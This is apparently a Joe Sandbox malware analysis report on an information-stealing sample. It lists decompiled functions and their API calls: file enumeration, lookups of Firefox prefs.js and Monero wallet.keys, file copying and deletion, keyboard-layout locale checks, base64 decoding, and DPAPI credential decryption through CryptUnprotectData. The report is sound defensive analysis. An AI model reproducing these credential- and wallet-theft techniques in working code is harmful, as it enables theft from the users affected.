Part of subcall function 00D4A740: lstrcpy.KERNEL32(00D50E17,00000000), ref: 00D4A788

Part of subcall function 00D4A920: lstrcpy.KERNEL32(00000000,?), ref: 00D4A972
Part of subcall function 00D4A920: lstrcat.KERNEL32(00000000), ref: 00D4A982

Part of subcall function 00D4A9B0: lstrlen.KERNEL32(?,008D8A30,?,\Monero\wallet.keys,00D50E17), ref: 00D4A9C5
Part of subcall function 00D4A9B0: lstrcpy.KERNEL32(00000000), ref: 00D4AA04
Part of subcall function 00D4A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00D4AA12

Part of subcall function 00D4A8A0: lstrcpy.KERNEL32(?,00D50E17), ref: 00D4A905

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,00D515B8,00D50D96), ref: 00D3F71E
StrCmpCA.SHLWAPI(?,00D515BC), ref: 00D3F76F
StrCmpCA.SHLWAPI(?,00D515C0), ref: 00D3F785
FindNextFileA.KERNEL32(000000FF,?), ref: 00D3FAB1
FindClose.KERNEL32(000000FF), ref: 00D3FAC3

Strings

prefs.js, xrefs: 00D3F812

Memory Dump Source

Source File: 00000000.00000002.2120930222.0000000000D31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D30000, based on PE: true

Associated: 00000000.00000002.2120913969.0000000000D30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2120930222.0000000000DE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2120930222.0000000000DED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2120930222.0000000000E12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2120930222.0000000000F7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.0000000000F8E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.0000000001116000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.00000000011F0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.0000000001211000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.0000000001218000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.0000000001228000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121435599.0000000001229000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121551459.00000000013C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121571129.00000000013C3000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d30000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID: prefs.js
API String ID: 3334442632-3783873740
Opcode ID: a3cd4836a864f57e3d0fc1bdf0ea92f80c8b2f7f4746d7d0a8274efaf37da962
Instruction ID: f50455b1ed5ae4b23b5da05b335e6b5f6252c761a3fe7b043a96e919945107a9
Opcode Fuzzy Hash: a3cd4836a864f57e3d0fc1bdf0ea92f80c8b2f7f4746d7d0a8274efaf37da962
Instruction Fuzzy Hash: 83B103719401189BDB24FF64DC96FEE7379EF94300F4085A9A80A96151EF30AB49CFB2

Function 00D316D0 Relevance: 14.5, APIs: 7, Strings: 1, Instructions: 492fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00D4A740: lstrcpy.KERNEL32(00D50E17,00000000), ref: 00D4A788

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,00D5510C,?,?,?,00D551B4,?,?,00000000,?,00000000), ref: 00D31923
StrCmpCA.SHLWAPI(?,00D5525C), ref: 00D31973
StrCmpCA.SHLWAPI(?,00D55304), ref: 00D31989
CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 00D31D40
DeleteFileA.KERNEL32(00000000), ref: 00D31DCA
FindNextFileA.KERNEL32(000000FF,?), ref: 00D31E20
FindClose.KERNEL32(000000FF), ref: 00D31E32

Part of subcall function 00D4A920: lstrcpy.KERNEL32(00000000,?), ref: 00D4A972
Part of subcall function 00D4A920: lstrcat.KERNEL32(00000000), ref: 00D4A982

Part of subcall function 00D4A9B0: lstrlen.KERNEL32(?,008D8A30,?,\Monero\wallet.keys,00D50E17), ref: 00D4A9C5
Part of subcall function 00D4A9B0: lstrcpy.KERNEL32(00000000), ref: 00D4AA04
Part of subcall function 00D4A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00D4AA12

Part of subcall function 00D4A8A0: lstrcpy.KERNEL32(?,00D50E17), ref: 00D4A905

Strings

\*.*, xrefs: 00D317F1

Memory Dump Source

Source File: 00000000.00000002.2120930222.0000000000D31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D30000, based on PE: true

Associated: 00000000.00000002.2120913969.0000000000D30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2120930222.0000000000DE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2120930222.0000000000DED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2120930222.0000000000E12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2120930222.0000000000F7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.0000000000F8E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.0000000001116000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.00000000011F0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.0000000001211000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.0000000001218000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.0000000001228000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121435599.0000000001229000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121551459.00000000013C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121571129.00000000013C3000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d30000_file.jbxd

Yara matches

Similarity

API ID: Filelstrcpy$Find$lstrcat$CloseCopyDeleteFirstNextlstrlen
String ID: \*.*
API String ID: 1415058207-1173974218
Opcode ID: 307d2676bb44fb0f51457fbe206a264cf2ce1c9af28c372b4407ceadba99cc0f
Instruction ID: 3f16e45d94f0651284f9f78644363def1c608f383060d45a0d1f022562ed99cb
Opcode Fuzzy Hash: 307d2676bb44fb0f51457fbe206a264cf2ce1c9af28c372b4407ceadba99cc0f
Instruction Fuzzy Hash: 90121E71950118ABEB19FB64DC96EEE7378EF54300F4145A9B50A62091EF306F89CFB2

Function 00D3DE10 Relevance: 14.4, APIs: 7, Strings: 1, Instructions: 370fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00D4A740: lstrcpy.KERNEL32(00D50E17,00000000), ref: 00D4A788

Part of subcall function 00D4A9B0: lstrlen.KERNEL32(?,008D8A30,?,\Monero\wallet.keys,00D50E17), ref: 00D4A9C5
Part of subcall function 00D4A9B0: lstrcpy.KERNEL32(00000000), ref: 00D4AA04
Part of subcall function 00D4A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00D4AA12

Part of subcall function 00D4A8A0: lstrcpy.KERNEL32(?,00D50E17), ref: 00D4A905

FindFirstFileA.KERNEL32(00000000,?,00000000,?,\*.*,00D50C2E), ref: 00D3DE5E
StrCmpCA.SHLWAPI(?,00D514C8), ref: 00D3DEAE
StrCmpCA.SHLWAPI(?,00D514CC), ref: 00D3DEC4
FindNextFileA.KERNEL32(000000FF,?), ref: 00D3E3E0
FindClose.KERNEL32(000000FF), ref: 00D3E3F2

Strings

\*.*, xrefs: 00D3DE26

Memory Dump Source

Source File: 00000000.00000002.2120930222.0000000000D31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D30000, based on PE: true

Associated: 00000000.00000002.2120913969.0000000000D30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2120930222.0000000000DE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2120930222.0000000000DED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2120930222.0000000000E12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2120930222.0000000000F7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.0000000000F8E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.0000000001116000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.00000000011F0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.0000000001211000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.0000000001218000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.0000000001228000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121435599.0000000001229000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121551459.00000000013C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121571129.00000000013C3000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d30000_file.jbxd

Yara matches

Similarity

API ID: Findlstrcpy$File$CloseFirstNextlstrcatlstrlen
String ID: \*.*
API String ID: 2325840235-1173974218
Opcode ID: 504100a35f5cb9b439495369eb2b799f265f7f74aad5cee2d5b58942fae4c3a1
Instruction ID: f0ae026ba27d94ff183f41b72f25efc8ffa20efc66cdbcbc9526c5bfa3761740
Opcode Fuzzy Hash: 504100a35f5cb9b439495369eb2b799f265f7f74aad5cee2d5b58942fae4c3a1
Instruction Fuzzy Hash: 79F17D718541289BEB15EB64DC96EEE7338FF54304F9141DAA41A62091EF306F8ACF72

Function 00D3DA80 Relevance: 13.8, APIs: 9, Instructions: 255fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00D4A740: lstrcpy.KERNEL32(00D50E17,00000000), ref: 00D4A788

Part of subcall function 00D4A920: lstrcpy.KERNEL32(00000000,?), ref: 00D4A972
Part of subcall function 00D4A920: lstrcat.KERNEL32(00000000), ref: 00D4A982

Part of subcall function 00D4A9B0: lstrlen.KERNEL32(?,008D8A30,?,\Monero\wallet.keys,00D50E17), ref: 00D4A9C5
Part of subcall function 00D4A9B0: lstrcpy.KERNEL32(00000000), ref: 00D4AA04
Part of subcall function 00D4A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00D4AA12

Part of subcall function 00D4A8A0: lstrcpy.KERNEL32(?,00D50E17), ref: 00D4A905

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,00D514B0,00D50C2A), ref: 00D3DAEB
StrCmpCA.SHLWAPI(?,00D514B4), ref: 00D3DB33
StrCmpCA.SHLWAPI(?,00D514B8), ref: 00D3DB49
FindNextFileA.KERNEL32(000000FF,?), ref: 00D3DDCC
FindClose.KERNEL32(000000FF), ref: 00D3DDDE

Memory Dump Source

Source File: 00000000.00000002.2120930222.0000000000D31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D30000, based on PE: true

Associated: 00000000.00000002.2120913969.0000000000D30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2120930222.0000000000DE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2120930222.0000000000DED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2120930222.0000000000E12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2120930222.0000000000F7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.0000000000F8E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.0000000001116000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.00000000011F0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.0000000001211000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.0000000001218000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.0000000001228000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121435599.0000000001229000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121551459.00000000013C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121571129.00000000013C3000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d30000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID:
API String ID: 3334442632-0
Opcode ID: d90b50e7fed52864b823f5638cac0e13bfb08ff1679b0e3caadcf5b87076b36a
Instruction ID: 029664e6f4bb696c25dc6c440fec34672b04335a7a58fe3eb093ca3f7ac7904c
Opcode Fuzzy Hash: d90b50e7fed52864b823f5638cac0e13bfb08ff1679b0e3caadcf5b87076b36a
Instruction Fuzzy Hash: 64913172900118ABDB14FB74EC569ED737DEF94300F418668F90A96181EE349B598FB3

Function 00D47B90 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 114memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 00D4A740: lstrcpy.KERNEL32(00D50E17,00000000), ref: 00D4A788

GetKeyboardLayoutList.USER32(00000000,00000000,00D505AF), ref: 00D47BE1
LocalAlloc.KERNEL32(00000040,?), ref: 00D47BF9
GetKeyboardLayoutList.USER32(?,00000000), ref: 00D47C0D
GetLocaleInfoA.KERNEL32(?,00000002,?,00000200), ref: 00D47C62
LocalFree.KERNEL32(00000000), ref: 00D47D22

Strings

/ , xrefs: 00D47C7F

Memory Dump Source

Source File: 00000000.00000002.2120930222.0000000000D31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D30000, based on PE: true

Associated: 00000000.00000002.2120913969.0000000000D30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2120930222.0000000000DE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2120930222.0000000000DED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2120930222.0000000000E12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2120930222.0000000000F7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.0000000000F8E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.0000000001116000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.00000000011F0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.0000000001211000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.0000000001218000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.0000000001228000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121435599.0000000001229000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121551459.00000000013C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121571129.00000000013C3000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d30000_file.jbxd

Yara matches

Similarity

API ID: KeyboardLayoutListLocal$AllocFreeInfoLocalelstrcpy
String ID: /
API String ID: 3090951853-4001269591
Opcode ID: 19081bb7519234a8a14033a5ae626fcef186d9597edc4f6a8943596b3cd0944a
Instruction ID: d7bd04513c9b0b82fe4e31eba809ba8bffe8b2b198257dc52f367b5b45b236f8
Opcode Fuzzy Hash: 19081bb7519234a8a14033a5ae626fcef186d9597edc4f6a8943596b3cd0944a
Instruction Fuzzy Hash: DF413C71940218ABDB24DF94DC99BEEB7B8FF44700F204199E50962191DB346F89CFB2

Function 010FA3A3 Relevance: 10.3, Strings: 7, Instructions: 1567COMMON

Download Yara Rule

Strings

5}], xrefs: 010FA71A
\w, xrefs: 010FA4D9
yL`_, xrefs: 010FB1DA
Fvdn, xrefs: 010FB1EC
%}?{, xrefs: 010FA801
tm8, xrefs: 010FA9F6
5}], xrefs: 010FA738

Memory Dump Source

Source File: 00000000.00000002.2121105174.0000000000F8E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D30000, based on PE: true

Associated: 00000000.00000002.2120913969.0000000000D30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2120930222.0000000000D31000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2120930222.0000000000DE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2120930222.0000000000DED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2120930222.0000000000E12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2120930222.0000000000F7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.0000000001116000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.00000000011F0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.0000000001211000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.0000000001218000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.0000000001228000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121435599.0000000001229000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121551459.00000000013C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121571129.00000000013C3000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d30000_file.jbxd

Yara matches

Similarity

API ID:
String ID: \w$%}?{$Fvdn$tm8$yL`_$5}]$5}]
API String ID: 0-397602185
Opcode ID: 0f0681c78dc62db753c32110e57e400e5f994c06e796bb101027d6a22832c72c
Instruction ID: c00f5dd85189bb927e15d5ad19c2e6e155c13ba2ffc0443d775c098acc941f27
Opcode Fuzzy Hash: 0f0681c78dc62db753c32110e57e400e5f994c06e796bb101027d6a22832c72c
Instruction Fuzzy Hash: BAB2E6F3A082049FE304AE2DDC4577ABBE9EF94720F1A493DEAC4D7744E63598018697

Function 010F0369 Relevance: 10.3, Strings: 7, Instructions: 1516COMMON

Download Yara Rule

Strings

WGnu, xrefs: 010F0E29
ti^, xrefs: 010F0969
aO{, xrefs: 010F0398
OB:g, xrefs: 010F0B5B
WGnu, xrefs: 010F0E2F
t|u;, xrefs: 010F0BEF
#PD], xrefs: 010F0B8E

Memory Dump Source

Source File: 00000000.00000002.2121105174.0000000000F8E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D30000, based on PE: true

Associated: 00000000.00000002.2120913969.0000000000D30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2120930222.0000000000D31000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2120930222.0000000000DE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2120930222.0000000000DED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2120930222.0000000000E12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2120930222.0000000000F7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.0000000001116000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.00000000011F0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.0000000001211000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.0000000001218000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.0000000001228000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121435599.0000000001229000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121551459.00000000013C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121571129.00000000013C3000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d30000_file.jbxd

Yara matches

Similarity

API ID:
String ID: #PD]$OB:g$WGnu$WGnu$aO{$t|u;$ti^
API String ID: 0-1614462848
Opcode ID: 161d9c498fab733d8a599ff864405373575c539d673dc6b17503f98069699f3f
Instruction ID: 0b0f960c6b373628db77fa5a85328b67932eba36b9ab407b96513b6c5a0e55f4
Opcode Fuzzy Hash: 161d9c498fab733d8a599ff864405373575c539d673dc6b17503f98069699f3f
Instruction Fuzzy Hash: 0FA25AF3A0C2149FE3046E2DEC8567ABBE9EF94320F1A463DEAC4C7744E97558018697

Function 00D3E430 Relevance: 9.3, APIs: 4, Strings: 1, Instructions: 514fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00D4A740: lstrcpy.KERNEL32(00D50E17,00000000), ref: 00D4A788

Part of subcall function 00D4A920: lstrcpy.KERNEL32(00000000,?), ref: 00D4A972
Part of subcall function 00D4A920: lstrcat.KERNEL32(00000000), ref: 00D4A982

Part of subcall function 00D4A9B0: lstrlen.KERNEL32(?,008D8A30,?,\Monero\wallet.keys,00D50E17), ref: 00D4A9C5
Part of subcall function 00D4A9B0: lstrcpy.KERNEL32(00000000), ref: 00D4AA04
Part of subcall function 00D4A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00D4AA12

Part of subcall function 00D4A8A0: lstrcpy.KERNEL32(?,00D50E17), ref: 00D4A905

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,\*.*,00D50D73), ref: 00D3E4A2
StrCmpCA.SHLWAPI(?,00D514F8), ref: 00D3E4F2
StrCmpCA.SHLWAPI(?,00D514FC), ref: 00D3E508
FindNextFileA.KERNEL32(000000FF,?), ref: 00D3EBDF

Strings

\*.*, xrefs: 00D3E44D

Memory Dump Source

Source File: 00000000.00000002.2120930222.0000000000D31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D30000, based on PE: true

Associated: 00000000.00000002.2120913969.0000000000D30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2120930222.0000000000DE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2120930222.0000000000DED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2120930222.0000000000E12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2120930222.0000000000F7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.0000000000F8E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.0000000001116000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.00000000011F0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.0000000001211000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.0000000001218000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.0000000001228000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121435599.0000000001229000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121551459.00000000013C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121571129.00000000013C3000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d30000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$FileFindlstrcat$FirstNextlstrlen
String ID: \*.*
API String ID: 433455689-1173974218
Opcode ID: c7a8b874b4bbe4933a86301a47f63894918a4bbb2b034be2823b5feb71d7feb0
Instruction ID: 6be5f57856d81976af004421d3024e42322c7e323ee9f88ee36b442bd0c6d416
Opcode Fuzzy Hash: c7a8b874b4bbe4933a86301a47f63894918a4bbb2b034be2823b5feb71d7feb0
Instruction Fuzzy Hash: 74121072950118ABEB14FB64DC96EED7378EF94300F4145A9B50AA6091EF306F49CFB2

Function 00D3C820 Relevance: 7.6, APIs: 5, Instructions: 95stringencryptionCOMMON

Download Yara Rule

APIs

lstrlen.KERNEL32(?,00000001,?,00000000,00000000,00000000), ref: 00D3C871
CryptStringToBinaryA.CRYPT32(?,00000000), ref: 00D3C87C
lstrcat.KERNEL32(?,00D50B46), ref: 00D3C943
lstrcat.KERNEL32(?,00D50B47), ref: 00D3C957
lstrcat.KERNEL32(?,00D50B4E), ref: 00D3C978

Memory Dump Source

Source File: 00000000.00000002.2120930222.0000000000D31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D30000, based on PE: true

Associated: 00000000.00000002.2120913969.0000000000D30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2120930222.0000000000DE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2120930222.0000000000DED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2120930222.0000000000E12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2120930222.0000000000F7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.0000000000F8E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.0000000001116000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.00000000011F0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.0000000001211000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.0000000001218000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.0000000001228000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121435599.0000000001229000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121551459.00000000013C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121571129.00000000013C3000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d30000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$BinaryCryptStringlstrlen
String ID:
API String ID: 189259977-0
Opcode ID: ee1c8d15561b2097973e029df35ecf6fd2317d7e12124cbc13d2f18f44a09959
Instruction ID: b4c59a6ce5c5cc83c0bbd3808d2ade7ce9ee4d9b551219e305626d1d8b51db5c
Opcode Fuzzy Hash: ee1c8d15561b2097973e029df35ecf6fd2317d7e12124cbc13d2f18f44a09959
Instruction Fuzzy Hash: 154172B5D1421EDFDB10DF90DD89BFEB7B8BB88705F1041A8E509A6280D7705A84DFA2

Function 00D37240 Relevance: 7.5, APIs: 5, Instructions: 48memoryencryptionCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000008,00000400), ref: 00D3724D
RtlAllocateHeap.NTDLL(00000000), ref: 00D37254
CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000001,?), ref: 00D37281
WideCharToMultiByte.KERNEL32(00000000,00000000,?,?,?,00000400,00000000,00000000), ref: 00D372A4
LocalFree.KERNEL32(?), ref: 00D372AE

Memory Dump Source

Source File: 00000000.00000002.2120930222.0000000000D31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D30000, based on PE: true

Associated: 00000000.00000002.2120913969.0000000000D30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2120930222.0000000000DE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2120930222.0000000000DED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2120930222.0000000000E12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2120930222.0000000000F7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.0000000000F8E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.0000000001116000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.00000000011F0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.0000000001211000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.0000000001218000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.0000000001228000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121435599.0000000001229000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121551459.00000000013C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121571129.00000000013C3000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d30000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateByteCharCryptDataFreeLocalMultiProcessUnprotectWide
String ID:
